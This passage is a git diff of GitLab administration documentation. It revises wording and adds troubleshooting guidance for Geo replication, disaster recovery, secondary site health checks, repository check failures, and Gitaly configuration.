b/doc/administration/docs_self_host.md index f049dafea76..97eff35da91 100644 --- a/doc/administration/docs_self_host.md +++ b/doc/administration/docs_self_host.md @@ -177,7 +177,7 @@ documentation URL requests as needed. For example, if your GitLab version is - When you select the link, you are redirected to `http://0.0.0.0:4000/14.5/ee/user/admin_area/settings/help_page/#destination-requirements`. -To test the setting, select a **Learn more** link within the GitLab application. +To test the setting, select a **Learn more** link in the GitLab application. ## Upgrade the product documentation to a later version diff --git a/doc/administration/encrypted_configuration.md b/doc/administration/encrypted_configuration.md index 648f6d7018e..1ddf2951f70 100644 --- a/doc/administration/encrypted_configuration.md +++ b/doc/administration/encrypted_configuration.md @@ -11,7 +11,9 @@ type: reference GitLab can read settings for certain features from encrypted settings files. The supported features are: +- [Incoming email `user` and `password`](incoming_email.md#use-encrypted-credentials). - [LDAP `bind_dn` and `password`](auth/ldap/index.md#use-encrypted-credentials). +- [Service Desk email `user` and `password`](../user/project/service_desk.md#use-encrypted-credentials). - [SMTP `user_name` and `password`](raketasks/smtp.md#secrets). To enable the encrypted configuration settings, a new base key must be generated for diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md index b6703e8a5fb..24a91a7a9c5 100644 --- a/doc/administration/geo/disaster_recovery/index.md +++ b/doc/administration/geo/disaster_recovery/index.md @@ -479,25 +479,24 @@ changing Git remotes and API URLs. external_url 'https://<new_external_url>' ``` - If you provide GitLab with its certificate - [manually](https://docs.gitlab.com/omnibus/settings/ssl/index.html#configure-https-manually), - ensure: + NOTE: + Changing `external_url` does not prevent access via the old secondary URL, as + long as the secondary DNS records are still intact. - - The new URL is one of the subject alternative names: +1. Update the **secondary**'s SSL certificate: + + - If you use the [Let's Encrypt integration](https://docs.gitlab.com/omnibus/settings/ssl/index.html#enable-the-lets-encrypt-integration), + the certificate updates automatically. + - If you had [manually set up](https://docs.gitlab.com/omnibus/settings/ssl/index.html#configure-https-manually), + the **secondary**'s certificate, copy the certificate from the **primary** to the **secondary**. + If you don't have access to the **primary**, issue a new certificate and make sure it contains + both the **primary** and **secondary** URLs in the subject alternative names. You can check with: ```shell /opt/gitlab/embedded/bin/openssl x509 -noout -dates -subject -issuer \ -nameopt multiline -ext subjectAltName -in /etc/gitlab/ssl/new-gitlab.new-example.com.crt ``` - - The certificate and key filenames match the new `external_url`, - or those filenames are - [specified in `/etc/gitlab/gitlab.rb`](https://docs.gitlab.com/omnibus/settings/ssl/index.html#change-the-default-ssl-certificate-location). - - NOTE: - Changing `external_url` does not prevent access via the old secondary URL, as - long as the secondary DNS records are still intact. - 1. Reconfigure the **secondary** site for the change to take effect: ```shell diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md index 8728ab57bba..3f98f1e12fe 100644 --- a/doc/administration/geo/index.md +++ b/doc/administration/geo/index.md @@ -200,6 +200,7 @@ This list of limitations only reflects the latest version of GitLab. If you are - [Pages access control](../../user/project/pages/pages_access_control.md) doesn't work on secondaries. See [GitLab issue #9336](https://gitlab.com/gitlab-org/gitlab/-/issues/9336) for details. - [GitLab chart with Geo](https://docs.gitlab.com/charts/advanced/geo/) does not support [Unified URLs](secondary_proxy/index.md#set-up-a-unified-url-for-geo-sites). See [GitLab issue #3522](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/3522) for more details. - [Disaster recovery](disaster_recovery/index.md) for multi-secondary sites causes downtime due to the complete re-synchronization and re-configuration of all non-promoted secondaries. +- For Git over SSH, secondary sites must use the same port as the primary. [GitLab issue #339262](https://gitlab.com/gitlab-org/gitlab/-/issues/339262) proposes to remove this limitation. ### Limitations on replication/verification @@ -219,6 +220,8 @@ An [epic exists](https://gitlab.com/groups/gitlab-org/-/epics/4624) to fix this Keep in mind that mentioned URLs don't work when [Admin Mode](../../user/admin_area/settings/sign_in_restrictions.md#admin-mode) is enabled. +When using Unified URL, visiting the secondary site directly means you must route your requests to the secondary site. Exactly how this might be done depends on your networking configuration. If using DNS to route requests to the appropriate site, then you can, for example, edit your local machine's `/etc/hosts` file to route your requests to the desired secondary site. If the Geo sites are all behind a load balancer, then depending on the load balancer, you might be able to configure all requests from your IP to go to a particular secondary site. + ## Setup instructions For setup instructions, see [Setting up Geo](setup/index.md). diff --git a/doc/administration/geo/replication/configuration.md b/doc/administration/geo/replication/configuration.md index 79a3f65377b..912de360e43 100644 --- a/doc/administration/geo/replication/configuration.md +++ b/doc/administration/geo/replication/configuration.md @@ -366,7 +366,7 @@ former is ideal for replicating data belonging to a subset of users, while the latter is more suited to progressively rolling out Geo to a large GitLab instance. -It is important to note that selective synchronization: +Selective synchronization: 1. Does not restrict permissions from **secondary** sites. 1. Does not hide project metadata from **secondary** sites. diff --git a/doc/administration/geo/replication/container_registry.md b/doc/administration/geo/replication/container_registry.md index abf34efa56e..88ca8781dc3 100644 --- a/doc/administration/geo/replication/container_registry.md +++ b/doc/administration/geo/replication/container_registry.md @@ -7,7 +7,12 @@ type: howto # Container Registry for a secondary site **(PREMIUM SELF)** -You can set up a Container Registry on your **secondary** Geo site that mirrors the one on the **primary** Geo site. +You can set up a Container Registry on your **secondary** Geo site that mirrors the one on the **primary** Geo site. + +NOTE: +The Container Registry replication is used only for disaster recovery purposes. We do not recommend +pulling the Container Registry data from the secondary. For a feature proposal to implement it in the +future, see [Geo: Accelerate container images by serving read request from secondary site](https://gitlab.com/gitlab-org/gitlab/-/issues/365864) for details. ## Supported container registries diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md index 26acab510cf..27e1b990b2b 100644 --- a/doc/administration/geo/replication/datatypes.md +++ b/doc/administration/geo/replication/datatypes.md @@ -87,7 +87,7 @@ GitLab does not require a special file system and can work with: Geo triggers garbage collection in Gitaly to [deduplicate forked repositories](../../../development/git_object_deduplication.md#git-object-deduplication-and-gitlab-geo) on Geo secondary sites. -Communication is done via Gitaly's own gRPC API, with three possible ways of synchronization: +The Gitaly gRPC API does the communication, with three possible ways of synchronization: - Using regular Git clone/fetch from one Geo site to another (with special authentication). - Using repository snapshots (for when the first method fails or repository is corrupt). @@ -151,10 +151,8 @@ and verification status on a **secondary** site. You can keep track of the progress to implement the missing items in these epics/issues: -- [Geo: Build a scalable, self-service Geo replication and verification framework](https://gitlab.com/groups/gitlab-org/-/epics/2161) - [Geo: Improve the self-service Geo replication framework](https://gitlab.com/groups/gitlab-org/-/epics/3761) - [Geo: Move existing blobs to framework](https://gitlab.com/groups/gitlab-org/-/epics/3588) -- [Geo: Add unreplicated data types](https://gitlab.com/groups/gitlab-org/-/epics/893) ### Replicated data types behind a feature flag diff --git a/doc/administration/geo/replication/multiple_servers.md b/doc/administration/geo/replication/multiple_servers.md index 5be7d40890c..155fefb2dbf 100644 --- a/doc/administration/geo/replication/multiple_servers.md +++ b/doc/administration/geo/replication/multiple_servers.md @@ -81,7 +81,7 @@ After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus NOTE: PostgreSQL and Redis should have already been disabled on the -application nodes during normal GitLab multi-node setup. Connections +application nodes during typical GitLab multi-node setup. Connections from the application nodes to services on the backend nodes should have also been configured. See multi-node configuration documentation for [PostgreSQL](../../postgresql/replication_and_failover.md#configuring-the-application-nodes) @@ -100,7 +100,7 @@ major differences: - There is an additional GitLab service [`geo-logcursor`](../index.md#geo-log-cursor) Therefore, we set up the multi-node components one by one and include deviations -from the normal multi-node setup. However, we highly recommend configuring a +from the typical multi-node setup. However, we highly recommend configuring a brand-new GitLab site first, as if it were not part of a Geo setup. This allows verifying that it is a working GitLab site. And only then should it be modified for use as a Geo **secondary** site. This helps to separate Geo setup problems from diff --git a/doc/administration/geo/replication/security_review.md b/doc/administration/geo/replication/security_review.md index afe831dcb9c..92eff2faf60 100644 --- a/doc/administration/geo/replication/security_review.md +++ b/doc/administration/geo/replication/security_review.md @@ -114,7 +114,7 @@ from [owasp.org](https://owasp.org/). ### What private and public network links support the application? - Customers choose their own networks. As sites are intended to be - geographically separated, it is envisioned that replication traffic will pass + geographically separated, it is envisioned that replication traffic passes over the public Internet in a typical deployment, but this is not a requirement. ## Systems @@ -168,7 +168,7 @@ from [owasp.org](https://owasp.org/). - GitLab is "cloud native" and this applies to Geo as much as to the rest of the product. Deployment in clouds is a common and supported scenario. -## If applicable, what approach(es) to cloud computing will be taken (Managed Hosting versus "Pure" Cloud, a "full machine" approach such as AWS-EC2 versus a "hosted database" approach such as AWS-RDS and Azure, etc)? +## If applicable, what approach(es) to cloud computing is taken (Managed Hosting versus "Pure" Cloud, a "full machine" approach such as AWS-EC2 versus a "hosted database" approach such as AWS-RDS and Azure, etc)? - To be decided by our customers, according to their operational needs. @@ -186,7 +186,7 @@ from [owasp.org](https://owasp.org/). - PostgreSQL >= 12, Redis, Sidekiq, Puma. -### How will database connection strings, encryption keys, and other sensitive components be stored, accessed, and protected from unauthorized detection? +### How can database connection strings, encryption keys, and other sensitive components be stored, accessed, and protected from unauthorized detection? - There are some Geo-specific values. Some are shared secrets which must be securely transmitted from the **primary** site to the **secondary** site at setup time. Our diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md index 2f2759d7339..403f8525d39 100644 --- a/doc/administration/geo/replication/troubleshooting.md +++ b/doc/administration/geo/replication/troubleshooting.md @@ -38,9 +38,28 @@ to help identify if something is wrong: - Is the secondary site's tracking database configured? - Is the secondary site's tracking database connected? - Is the secondary site's tracking database up-to-date? +- Is the secondary site's status less than 10 minutes old?  +A site shows as "Unhealthy" if the site's status is more than 10 minutes old. In that case, try running the following in the [Rails console](../../operations/rails_console.md) on the affected site: + +```ruby +Geo::MetricsUpdateWorker.new.perform +``` + +If it raises an error, then the error is probably also preventing the jobs from completing. If it takes longer than 10 minutes, then there may be a performance issue, and the UI may always show "Unhealthy" even if the status eventually does get updated. + +If it successfully updates the status, then something may be wrong with Sidekiq. Is it running? Do the logs show errors? This job is supposed to be enqueued every minute. It takes an exclusive lease in Redis to ensure that only one of these jobs can run at a time. The primary site updates its status directly in the PostgreSQL database. Secondary sites send an HTTP Post request to the primary site with their status data. + +A site also shows as "Unhealthy" if certain health checks fail. You can reveal the failure by running the following in the [Rails console](../../operations/rails_console.md) on the affected site: + +```ruby +Gitlab::Geo::HealthCheck.new.perform_checks +``` + +If it returns `""` (an empty string) or `"Healthy"`, then the checks succeeded. If it returns anything else, then the message should explain what failed, or show the exception message. + For information about how to resolve common error messages reported from the user interface, see [Fixing Common Errors](#fixing-common-errors). @@ -66,7 +85,7 @@ Checking Geo ... GitLab Geo is available ... yes GitLab Geo is enabled ... yes This machine's Geo node name matches a database record ... yes, found a secondary node named "Shanghai" -GitLab Geo secondary database is correctly configured ... yes +GitLab Geo tracking database is correctly configured ... yes Database replication enabled? ... yes Database replication working? ... yes GitLab Geo HTTP(S) connectivity ... @@ -147,11 +166,27 @@ http://secondary.example.com/ Last status report was: 1 minute ago ``` +There are up to three statuses for each item. For example, for `Repositories`, you see the following lines: + +```plaintext + Repositories: succeeded 12345 / total 12345 (100%) + Verified Repositories: succeeded 12345 / total 12345 (100%) + Repositories Checked: failed 5 / succeeded 0 / total 5 (0%) +``` + +The 3 status items are defined as follows: + +- The `Repositories` output shows how many repositories are synced from the primary to the secondary. +- The `Verified Repositories` output shows how many repositories on this secondary have a matching repository checksum with the Primary. +- The `Repositories Checked` output shows how many repositories have passed a local Git repository check (`git fsck`) on the secondary. + To find more details about failed items, check [the `gitlab-rails/geo.log` file](../../logs/log_parsing.md#find-most-common-geo-sync-errors) If you notice replication or verification failures, you can try to [resolve them](#fixing-non-postgresql-replication-failures). +If there are Repository check failures, you can try to [resolve them](#find-repository-check-failures-in-a-geo-secondary-site). + ### Check if PostgreSQL replication is working To check if PostgreSQL replication is working, check if: @@ -203,7 +238,7 @@ This machine's Geo node name matches a database record ... no doc/administration/geo/replication/troubleshooting.md#can-geo-detect-the-current-node-correctly ``` -Learn more about recommended site names in the description of the Name field in +For more information about recommended site names in the description of the Name field, see [Geo Admin Area Common Settings](../../../user/admin_area/geo_sites.md#common-settings). ### Reverify all uploads (or any SSF data type which is verified) @@ -221,7 +256,7 @@ Commands that change data can cause damage if not run correctly or under the rig end ``` -1. This will cause the primary to start checksumming all Uploads. +1. This causes the primary to start checksumming all Uploads. 1. When a primary successfully checksums a record, then all secondaries recalculate the checksum as well, and they compare the values. A similar thing can be done for all Models handled by the [Geo Self-Service Framework](../../../development/geo/framework.md) which have implemented verification: @@ -325,7 +360,7 @@ sudo gitlab-rake gitlab:geo:check GitLab Geo is available ... yes GitLab Geo is enabled ... yes - GitLab Geo secondary database is correctly configured ... not a secondary node + GitLab Geo tracking database is correctly configured ... not a secondary node Database replication enabled? ... not a secondary node ... Checking Geo ... Finished @@ -364,15 +399,35 @@ sudo gitlab-rake gitlab:geo:check Checking Geo ... Finished ``` - When performing a PostgreSQL major version (9 > 10) update this is expected. Follow + When performing a PostgreSQL major version (9 > 10), update this is expected. Follow the [initiate-the-replication-process](../setup/database.md#step-3-initiate-the-replication-process). +- Rails does not appear to have the configuration necessary to connect to the Geo tracking database. + + ```plaintext + Checking Geo ... + + GitLab Geo is available ... yes + GitLab Geo is enabled ... yes + GitLab Geo tracking database is correctly configured ... no + Try fixing it: + Rails does not appear to have the configuration necessary to connect to the Geo tracking database. If the tracking database is running on a node other than this one, then you may need to add configuration. + ... + Checking Geo ... Finished + ``` + + - If you are running the secondary site on a single node for all services, then follow [Geo database replication - Configure the secondary server](../setup/database.md#step-2-configure-the-secondary-server). + - If you are running the secondary site's tracking database on its own node, then follow [Geo for multiple servers - Configure the Geo tracking database on the Geo secondary site](multiple_servers.md#step-3-configure-the-geo-tracking-database-on-the-geo-secondary-site) + - If you are running the secondary site's tracking database in a Patroni cluster, then follow [Geo database replication - Configure the tracking database on the secondary sites](../setup/database.md#step-3-configure-the-tracking-database-on-the-secondary-sites) + - If you are running the secondary site's tracking database in an external database, then follow [Geo with external PostgreSQL instances](../setup/external_database.md#configure-the-tracking-database) + - If the Geo check task was run on a node which is not running a service which runs the GitLab Rails app (Puma, Sidekiq, or Geo Log Cursor), then this error can be ignored. The node does not need Rails to be configured. + ### Message: Machine clock is synchronized ... Exception The Rake task attempts to verify that the server clock is synchronized with NTP. Synchronized clocks are required for Geo to function correctly. As an example, for security, when the server time on the primary site and secondary site differ by about a minute or more, requests between Geo sites -will fail. If this check task fails to complete due to a reason other than mismatching times, it +fail. If this check task fails to complete due to a reason other than mismatching times, it does not necessarily mean that Geo will not work. The Ruby gem which performs the check is hard coded with `pool.ntp.org` as its reference time source. @@ -385,13 +440,13 @@ The Ruby gem which performs the check is hard coded with `pool.ntp.org` as its r This issue occurs when the hostname `pool.ntp.org` resolves to a server which does not provide a time service. -There is [an issue open](https://gitlab.com/gitlab-org/gitlab/-/issues/381422) for this dependency on `pool.ntp.org`. +In this case, in GitLab 15.7 and newer, [specify a custom NTP server using environment variables](#health-check-rake-task). -To workaround this, do one of the following: +In GitLab 15.6 and older, use one of the following workarounds: - Add entries in `/etc/hosts` for `pool.ntp.org` to direct the request to valid local time servers. This fixes the long timeout and the timeout error. -- Direct the check to any valid IP address. This resolves the timeout issue, but the check will fail +- Direct the check to any valid IP address. This resolves the timeout issue, but the check fails with the `No route to host` error, as noted above. [Cloud native GitLab deployments](https://docs.gitlab.com/charts/advanced/geo/#set-the-geo-primary-site) @@ -401,6 +456,39 @@ generate an error because containers in Kubernetes do not have access to the hos Machine clock is synchronized ... Exception: getaddrinfo: Servname not supported for ai_socktype ``` +### Message: `ActiveRecord::StatementInvalid: PG::ReadOnlySqlTransaction: ERROR: cannot execute INSERT in a read-only transaction` + +When this error is encountered on a secondary site, it likely affects all usages of GitLab Rails such as `gitlab-rails` or `gitlab-rake` commands, as well the Puma, Sidekiq, and Geo Log Cursor services. + +```plaintext +ActiveRecord::StatementInvalid: PG::ReadOnlySqlTransaction: ERROR: cannot execute INSERT in a read-only transaction +/opt/gitlab/embedded/service/gitlab-rails/app/models/application_record.rb:86:in `block in safe_find_or_create_by' +/opt/gitlab/embedded/service/gitlab-rails/app/models/concerns/cross_database_modification.rb:92:in `block in transaction' +/opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/database.rb:332:in `block in transaction' +/opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/database.rb:331:in `transaction' +/opt/gitlab/embedded/service/gitlab-rails/app/models/concerns/cross_database_modification.rb:83:in `transaction' +/opt/gitlab/embedded/service/gitlab-rails/app/models/application_record.rb:86:in `safe_find_or_create_by' +/opt/gitlab/embedded/service/gitlab-rails/app/models/shard.rb:21:in `by_name' +/opt/gitlab/embedded/service/gitlab-rails/app/models/shard.rb:17:in `block in populate!' +/opt/gitlab/embedded/service/gitlab-rails/app/models/shard.rb:17:in `map' +/opt/gitlab/embedded/service/gitlab-rails/app/models/shard.rb:17:in `populate!' +/opt/gitlab/embedded/service/gitlab-rails/config/initializers/fill_shards.rb:9:in `<top (required)>' +/opt/gitlab/embedded/service/gitlab-rails/config/environment.rb:7:in `<top (required)>' +/opt/gitlab/embedded/bin/bundle:23:in `load' +/opt/gitlab/embedded/bin/bundle:23:in `<main>' +``` + +The PostgreSQL read-replica database would be producing these errors: + +```plaintext +2023-01-17_17:44:54.64268 ERROR: cannot execute INSERT in a read-only transaction +2023-01-17_17:44:54.64271 STATEMENT: /*application:web,db_config_name:main*/ INSERT INTO "shards" ("name") VALUES ('storage1') RETURNING "id" +``` + +This situation can occur during initial configuration when a secondary site is not yet aware that it is a secondary site. + +To resolve the error, follow [Step 3. Add the secondary site](configuration.md#step-3-add-the-secondary-site). + ## Fixing PostgreSQL database replication errors The following sections outline troubleshooting steps for fixing replication @@ -477,7 +565,7 @@ Slots where `active` is `f` are not active. ### Message: "ERROR: canceling statement due to conflict with recovery" -This error message occurs infrequently under normal usage, and the system is resilient +This error message occurs infrequently under typical usage, and the system is resilient enough to recover. However, under certain conditions, some database queries on secondaries may run @@ -1256,11 +1344,39 @@ To fix this issue, set the primary site's internal URL to a URL that is: GeoNode.where(primary: true).first.update!(internal_url: "https://unique.url.for.primary.site") ``` +### Secondary site returns `Received HTTP code 403 from proxy after CONNECT` + +If you have installed GitLab using the Linux package (Omnibus) and have configured the `no_proxy` [custom environment variable](https://docs.gitlab.com/omnibus/settings/environment-variables.html) for Gitaly, you may experience this issue. Affected versions: + +- `15.4.6` +- `15.5.0`-`15.5.6` +- `15.6.0`-`15.6.3` +- `15.7.0`-`15.7.1` + +This is due to [a bug introduced in the included version of cURL](https://github.com/curl/curl/issues/10122) shipped with Omnibus GitLab 15.4.6 and later. You are encouraged to upgrade to a later version where this has been [fixed](https://about.gitlab.com/releases/2023/01/09/security-release-gitlab-15-7-2-released/). + +The bug causes all wildcard domains (`.example.com`) to be ignored except for the last on in the `no_proxy` environment variable list. Therefore, if for any reason you cannot upgrade to a newer version, you can work around the issue by moving your wildcard domain to the end of the list: + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitaly['env'] = { + "no_proxy" => "sever.yourdomain.org, .yourdomain.com", + } + +1. Reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +You can have only one wildcard domain in the `no_proxy` list. + ## Fixing non-PostgreSQL replication failures If you notice replication failures in `Admin > Geo > Sites` or the [Sync status Rake task](#sync-status-rake-task), you can try to resolve the failures with the following general steps: -1. Geo will automatically retry failures. If the failures are new and few in number, or if you suspect the root cause is already resolved, then you can wait to see if the failures go away. +1. Geo automatically retries failures. If the failures are new and few in number, or if you suspect the root cause is already resolved, then you can wait to see if the failures go away. 1. If failures were present for a long time, then many retries have already occurred, and the interval between automatic retries has increased to up to 4 hours depending on the type of failure. If you suspect the root cause is already resolved, you can [manually retry replication or verification](#manually-retry-replication-or-verification). 1. If the failures persist, use the following sections to try to resolve them. @@ -1368,7 +1484,7 @@ status end ``` -1. This will cause the primary to start checksumming all Uploads. +1. This causes the primary to start checksumming all Uploads. 1. When a primary successfully checksums a record, then all secondaries recalculate the checksum as well, and they compare the values. For other SSF data types replace `Upload` in the command above with the desired model class. @@ -1464,11 +1580,54 @@ project = Project.find_by_full_path('<group/project>') Geo::RepositorySyncService.new(project).execute ``` +#### Find repository check failures in a Geo secondary site + +When [enabled for all projects](../../repository_checks.md#enable-repository-checks-for-all-projects), [Repository checks](../../repository_checks.md) are also performed on Geo secondary sites. The metadata is stored in the Geo tracking database. + +Repository check failures on a Geo secondary site do not necessarily imply a replication problem. Here is a general approach to resolve these failures. + +1. Find affected repositories as mentioned below, as well as their [logged errors](../../repository_checks.md#what-to-do-if-a-check-failed). +1. Try to diagnose specific `git fsck` errors. The range of possible errors is wide, try putting them into search engines. +1. Test normal functions of the affected repositories. Pull from the secondary, view the files. +1. Check if the primary site's copy of the repository has an identical `git fsck` error. If you are planning a failover, then consider prioritizing that the secondary site has the same information that the primary site has. Ensure you have a backup of the primary, and follow [planned failover guidelines](../disaster_recovery/planned_failover.md). +1. Push to the primary and check if the change gets replicated to the secondary site. +1. If replication is not automatically working, try to manually sync the repository. + +[Start a Rails console session](../../operations/rails_console.md#starting-a-rails-console-session) +to enact the following, basic troubleshooting steps. + +WARNING: +Commands that change data can cause damage if not run correctly or under the right conditions. Always run commands in a test environment first and have a backup instance ready to restore. + +##### Get the number of repositories that failed the repository check + +```ruby +Geo::ProjectRegistry.where(last_repository_check_failed: true).count +``` + +##### Find the repositories that failed the repository check + +```ruby +Geo::ProjectRegistry.where(last_repository_check_failed: true) +``` + +##### Recheck repositories that failed the repository check + +When you run this, `fsck` is executed against each failed repository. + +The [`fsck` Rake command](../../raketasks/check.md#check-project-code-repositories) can be used on the secondary site to understand why the repository check might be failing. + +```ruby +Geo::ProjectRegistry.where(last_repository_check_failed: true).each do |pr| + RepositoryCheck::SingleRepositoryWorker.new.perform(pr.project_id) +end +``` + ## Fixing client errors ### Authorization errors from LFS HTTP(S) client requests -You may have problems if you're running a version of [Git LFS](https://git-lfs.github.com/) before 2.4.2. +You may have problems if you're running a version of [Git LFS](https://git-lfs.com/) before 2.4.2. As noted in [this authentication issue](https://github.com/git-lfs/git-lfs/issues/3025), requests redirected from the secondary to the primary site do not properly send the Authorization header. This may result in either an infinite `Authorization <-> Redirect` @@ -1549,7 +1708,7 @@ On all hosts running PostgreSQL, across all Geo sites, run the following shell c ( echo "1-1"; echo "11" ) | LC_COLLATE=en_US.UTF-8 sort ``` -The output will either look like: +The output looks like either: ```plaintext 1-1 diff --git a/doc/administration/geo/replication/version_specific_upgrades.md b/doc/administration/geo/replication/version_specific_upgrades.md index aa8e5d77f67..f8e013a8776 100644 --- a/doc/administration/geo/replication/version_specific_upgrades.md +++ b/doc/administration/geo/replication/version_specific_upgrades.md @@ -8,10 +8,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w NOTE: We're in the process of merging all the version-specific upgrade information -into a single page. See [epic 9581](https://gitlab.com/groups/gitlab-org/-/epics/9581) -for more information. For the time being, visit the -[general upgrade page](../../../update/index.md) -for the newest Geo version-specific upgrade instructions. +into a single page. For more information, +see [epic 9581](https://gitlab.com/groups/gitlab-org/-/epics/9581). +For the latest Geo version-specific upgrade instructions, +see the [general upgrade page](../../../update/index.md). Review this page for upgrade instructions for your version. These steps accompany the [general steps](upgrading_the_geo_sites.md#general-upgrade-steps) diff --git a/doc/administration/geo/secondary_proxy/index.md b/doc/administration/geo/secondary_proxy/index.md index ac8b88a91d5..addf894f0a5 100644 --- a/doc/administration/geo/secondary_proxy/index.md +++ b/doc/administration/geo/secondary_proxy/index.md @@ -32,6 +32,9 @@ Use secondary proxying for use-cases including: - Having all Geo sites behind a single URL. - Geographically load-balancing traffic without worrying about write access. +NOTE: +Geo proxying for secondary sites is separate from Geo proxying/redirecting for Git push operations. + <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see: [Secondary proxying using geographic load-balancer and AWS Route53](https://www.youtube.com/watch?v=TALLy7__Na8). @@ -122,9 +125,9 @@ for details. - [Viewing projects and designs data from a primary site is not possible when using a unified URL](../index.md#view-replication-data-on-the-primary-site). - When secondary proxying is used together with separate URLs, registering [GitLab runners](https://docs.gitlab.com/runner/) to clone from -secondary sites is not supported. The runner registration will succeed, but the clone URL will default to the primary site. The runner +secondary sites is not supported. The runner registration succeeds, but the clone URL defaults to the primary site. The runner [clone URL](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) is configured per GitLab deployment -and cannot be configured per Geo site. Therefore, all runners will clone from the primary site (or configured clone URL) irrespective of +and cannot be configured per Geo site. Therefore, all runners clone from the primary site (or configured clone URL) irrespective of which Geo site they register on. For information about GitLab CI using a specific Geo secondary to clone from, see issue [3294](https://gitlab.com/gitlab-org/gitlab/-/issues/3294#note_1009488466). @@ -147,7 +150,7 @@ secondary Geo sites are able to support write requests. Certain **read** request sites for improved latency and bandwidth nearby. All write requests are proxied to the primary site. The following table details the components currently tested through the Geo secondary site Workhorse proxy. -It does not cover all data types, more will be added in the future as they are tested. +It does not cover all data types. | Feature / component | Accelerated reads? | |:----------------------------------------------------|:-----------------------| diff --git a/doc/administration/geo/secondary_proxy/location_aware_external_url.md b/doc/administration/geo/secondary_proxy/location_aware_external_url.md index b71b813ee9f..ae701bb8482 100644 --- a/doc/administration/geo/secondary_proxy/location_aware_external_url.md +++ b/doc/administration/geo/secondary_proxy/location_aware_external_url.md @@ -86,7 +86,7 @@ When creating Geo-Based record sets, GCP applies a nearest match for the source 1. Select **Network Services** > **Cloud DNS**. 1. Select the Zone configured for your domain. 1. Select **Add Record Set**. -1. Enter the DNS Name for your Location-aware public URL e.g. `gitlab.example.com`. +1. Enter the DNS Name for your Location-aware public URL, for example, `gitlab.example.com`. 1. Select the **Routing Policy**: **Geo-Based**. 1. Select **Add Managed RRData**. 1. Select **Source Region**: **us-central1**. diff --git a/doc/administration/get_started.md b/doc/administration/get_started.md index 2b9b5291c54..d9191440a24 100644 --- a/doc/administration/get_started.md +++ b/doc/administration/get_started.md @@ -1,5 +1,5 @@ --- -info: For assistance with this TAM Onboarding page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments-to-other-projects-and-subjects. +info: For assistance with this CSM Onboarding page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments-to-other-projects-and-subjects. stage: none group: unassigned --- @@ -45,11 +45,11 @@ Get started: **More resources** -- Learn more about [running multiple Agile teams](https://www.youtube.com/watch?v=VR2r1TJCDew). -- Sync group memberships [by using LDAP](../administration/auth/ldap/ldap_synchronization.md#group-sync). +- [Run multiple Agile teams](https://www.youtube.com/watch?v=VR2r1TJCDew). +- [Sync group memberships by using LDAP](../administration/auth/ldap/ldap_synchronization.md#group-sync). - Manage user access with inherited permissions. Use up to 20 levels of subgroups to organize both teams and projects. - - Learn more about [inherited permissions](../user/project/members/index.md#inherited-membership). - - View an [example](../user/group/subgroups/index.md). + - [Inherited membership](../user/project/members/index.md#inherited-membership). + - [Example](../user/group/subgroups/index.md). ## Import projects @@ -241,7 +241,7 @@ You can make changes to your default rate limits from the Admin Area. For more i - Review the [rate limit on raw endpoints](../user/admin_area/settings/rate_limits_on_raw_endpoints.md). The default setting is 300 requests per minute for raw file access. - Review the [import/export rate limits](../user/admin_area/settings/import_export_rate_limits.md) of the six active defaults. -For more information about API and rate limits, see our [API page](../api/index.md). +For more information about API and rate limits, see our [API page](../api/rest/index.md). ## API and rate limits for GitLab SaaS @@ -255,7 +255,7 @@ Rate limits also improve the security of your application. You can make changes to your default rate limits from the Admin Area. For more information about configuration, see the [Admin Area page](../security/rate_limits.md#configurable-limits). - Review the rate limit page. -- Read our [API page](../api/index.md) for more information about API and rate limiting. +- Read our [API page](../api/rest/index.md) for more information about API and rate limiting. ### GitLab SaaS-specific block and error responses @@ -290,5 +290,5 @@ You can learn more about how to administer GitLab. - Udemy: For a more affordable, guided training option, consider [GitLab CI: Pipelines, CI/CD, and DevOps for Beginners](https://www.udemy.com/course/gitlab-ci-pipelines-ci-cd-and-devops-for-beginners/) on Udemy. -- LinkedIn Learning: Check out [Continuous Delivery with GitLab](https://www.linkedin.com/learning/continuous-delivery-with-gitlab) on LinkedIn Learning +- LinkedIn Learning: Check out [Continuous Delivery with GitLab](https://www.linkedin.com/learning/continuous-integration-and-continuous-delivery-with-gitlab?replacementOf=continuous-delivery-with-gitlab) on LinkedIn Learning for another low-cost, guided training option. diff --git a/doc/administration/gitaly/configure_gitaly.md b/doc/administration/gitaly/configure_gitaly.md index d2f5282a69a..143f7dca7d3 100644 --- a/doc/administration/gitaly/configure_gitaly.md +++ b/doc/administration/gitaly/configure_gitaly.md @@ -91,7 +91,7 @@ the default ports for HTTP and HTTPs communication.  WARNING: -Gitaly servers must not be exposed to the public internet as Gitaly's network traffic is unencrypted +Gitaly servers must not be exposed to the public internet as Gitaly network traffic is unencrypted by default. The use of firewall is highly recommended to restrict access to the Gitaly server. Another option is to [use TLS](#enable-tls-support). @@ -128,7 +128,7 @@ To configure Gitaly servers, you must: The `git` user must be able to read, write, and set permissions on the configured storage path. -To avoid downtime while rotating Gitaly's token, you can temporarily disable authentication using the `gitaly['auth_transitioning']` setting. For more information, see the documentation on +To avoid downtime while rotating the Gitaly token, you can temporarily disable authentication using the `gitaly['auth_transitioning']` setting. For more information, see the documentation on [enabling "auth transitioning mode"](#enable-auth-transitioning-mode). #### Configure authentication @@ -770,7 +770,7 @@ These RPCs can consume a large amount of resources, which can have a significant - Unexpectedly high traffic. - Running against [large repositories](../../user/project/repository/managing_large_repositories.md) that don't follow best practices. -You can limit these processes from overwhelming your Gitaly server in these scenarios using the concurrency limits in Gitaly's configuration file. For +You can limit these processes from overwhelming your Gitaly server in these scenarios using the concurrency limits in the Gitaly configuration file. For example: ```ruby @@ -778,7 +778,7 @@ example: 